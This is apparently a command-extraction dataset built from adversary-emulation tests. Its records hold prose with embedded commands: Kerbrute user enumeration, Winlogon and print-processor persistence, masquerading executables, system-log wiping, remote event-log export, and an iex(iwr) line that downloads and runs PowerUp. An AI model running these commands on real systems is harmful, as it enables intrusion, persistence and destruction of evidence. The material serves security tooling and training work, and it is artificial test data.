    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate active directory usernames with Kerbrute's userenum function, use the following command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} \"PathToAtomicsFolder\\..\\ExternalPayloads\\username.txt\"; To remotely discover users who have authenticated against a Domain Controller via NTLM, use the following command which captures event code 4776 and stores output in C:\\temp: $target = $env:LOGONSERVER\n$target = $target.Trim(\"\\\\\\\\\")\n$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString\nwmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\\\ntlmusers.evtx /q:\\\"Event[System[(EventID=4776)]]\\\"'",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\username.txt\\\"\", \"$target = $env:LOGONSERVER\\n$target = $target.Trim(\\\"\\\\\\\\\\\")\\n$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString\\nwmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\\\\\\\ntlmusers.evtx /q:\\\\\\\"Event[System[(EventID=4776)]]\\\"'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a binary to execute alongside userinit.exe at logon, run the following command in PowerShell: Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force; This technique involves executing a malicious file masquerading as legitimate documents or images, resulting in 3 calculator processes and 3 VBS windows, via the following command:\ncopy \"#{exe_path}\" %temp%\\T1036.007_masquerading.docx.exe /Y\ncopy \"#{exe_path}\" %temp%\\T1036.007_masquerading.pdf.exe /Y\ncopy \"#{exe_path}\" %temp%\\T1036.007_masquerading.ps1.exe /Y\ncopy \"#{vbs_path}\" %temp%\\T1036.007_masquerading.xls.vbs /Y\ncopy \"#{vbs_path}\" %temp%\\T1036.007_masquerading.xlsx.vbs /Y\ncopy \"#{vbs_path}\" %temp%\\T1036.007_masquerading.png.vbs /Y\ncopy \"#{ps1_path}\" %temp%\\T1036.007_masquerading.doc.ps1 /Y\ncopy \"#{ps1_path}\" %temp%\\T1036.007_masquerading.pdf.ps1 /Y\ncopy \"#{ps1_path}\" %temp%\\T1036.007_masquerading.rtf.ps1 /Y\n%temp%\\T1036.007_masquerading.docx.exe\n%temp%\\T1036.007_masquerading.pdf.exe\n%temp%\\T1036.007_masquerading.ps1.exe\n%temp%\\T1036.007_masquerading.xls.vbs\n%temp%\\T1036.007_masquerading.xlsx.vbs\n%temp%\\T1036.007_masquerading.png.vbs\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.007_masquerading.doc.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.007_masquerading.pdf.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.007_masquerading.rtf.ps1",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Userinit\\\" \\\"Userinit.exe, #{binary_to_execute}\\\" -Force\\n\", \"copy \\\"#{exe_path}\\\" %temp%\\\\T1036.007_masquerading.docx.exe /Y\\ncopy \\\"#{exe_path}\\\" %temp%\\\\T1036.007_masquerading.pdf.exe /Y\\ncopy \\\"#{exe_path}\\\" %temp%\\\\T1036.007_masquerading.ps1.exe /Y\\ncopy \\\"#{vbs_path}\\\" %temp%\\\\T1036.007_masquerading.xls.vbs /Y\\ncopy \\\"#{vbs_path}\\\" %temp%\\\\T1036.007_masquerading.xlsx.vbs /Y\\ncopy \\\"#{vbs_path}\\\" %temp%\\\\T1036.007_masquerading.png.vbs /Y\\ncopy \\\"#{ps1_path}\\\" %temp%\\\\T1036.007_masquerading.doc.ps1 /Y\\ncopy \\\"#{ps1_path}\\\" %temp%\\\\T1036.007_masquerading.pdf.ps1 /Y\\ncopy \\\"#{ps1_path}\\\" %temp%\\\\T1036.007_masquerading.rtf.ps1 /Y\\n%temp%\\\\T1036.007_masquerading.docx.exe\\n%temp%\\\\T1036.007_masquerading.pdf.exe\\n%temp%\\\\T1036.007_masquerading.ps1.exe\\n%temp%\\\\T1036.007_masquerading.xls.vbs\\n%temp%\\\\T1036.007_masquerading.xlsx.vbs\\n%temp%\\\\T1036.007_masquerading.png.vbs\\nC:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -File %temp%\\\\T1036.007_masquerading.doc.ps1\\nC:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -File %temp%\\\\T1036.007_masquerading.pdf.ps1\\nC:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -File %temp%\\\\T1036.007_masquerading.rtf.ps1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process unzips a file, executes README.cmd to convert a .pdf to .dll and run it, demonstrating the BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960). The operation can be performed via the command:\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\" -DestinationPath \"$env:userprofile\\Downloads\\T1036\" -Force\ncd \"$env:userprofile\\Downloads\\T1036\"\ncmd /c \"$env:userprofile\\Downloads\\T1036\\README.cmd\" >$null 2>$null; In a compromised AWS environment, security groups can be enumerated via the command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\n",
    "output": "{\"command_list\": [\"Expand-Archive -Path \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1036.zip\\\" -DestinationPath \\\"$env:userprofile\\\\Downloads\\\\T1036\\\" -Force\\ncd \\\"$env:userprofile\\\\Downloads\\\\T1036\\\"\\ncmd /c \\\"$env:userprofile\\\\Downloads\\\\T1036\\\\README.cmd\\\" >$null 2>$null\", \"aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To empty the contents of system log files, use the truncate utility with the following commands: truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter; This test involves two steps - truncating the log file and then filling it with null bytes, which can be done with the following command sequence: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\n",
    "output": "{\"command_list\": [\"truncate -s 0 /var/log/messages #size parameter shorthand\\ntruncate --size=0 /var/log/security #size parameter \\n\", \"sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the domain password policy settings, use the command: net accounts /domain; On macOS systems, you can view the password policy with the command: pwpolicy getaccountpolicies",
    "output": "{\"command_list\": [\"net accounts /domain\\n\", \"pwpolicy getaccountpolicies\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence through the print processor mechanism, you'll need to run these commands after verifying the spooler service status: if( $(get-service -Name spooler).StartType -eq \"Disabled\") {Set-Service -Name \"spooler\" -StartupType Automatic}\nnet stop spooler\nCopy-Item \"$PathToAtomicsFolder\\T1547.012\\bin\\AtomicTest.dll\" C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" /v \"Driver\" /d \"AtomicTest.dll\" /t REG_SZ /f\nnet start spooler\nif(#{restart}){\n  Restart-Computer\n}; To identify system services, use the following command sequence: tasklist.exe\nsc query\nsc query state= all\n",
    "output": "{\"command_list\": [\"if( $(get-service -Name spooler).StartType -eq \\\"Disabled\\\") {Set-Service -Name \\\"spooler\\\" -StartupType Automatic}\\nnet stop spooler\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.012\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Windows\\\\System32\\\\spool\\\\prtprocs\\\\x64\\\\AtomicTest.dll\\nreg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\Windows x64\\\\Print Processors\\\\AtomicRedTeam\\\" /v \\\"Driver\\\" /d \\\"AtomicTest.dll\\\" /t REG_SZ /f\\nnet start spooler\\nif(#{restart}){\\n  Restart-Computer\\n}\\n\", \"tasklist.exe\\nsc query\\nsc query state= all\\n\"]}"
  },
  {
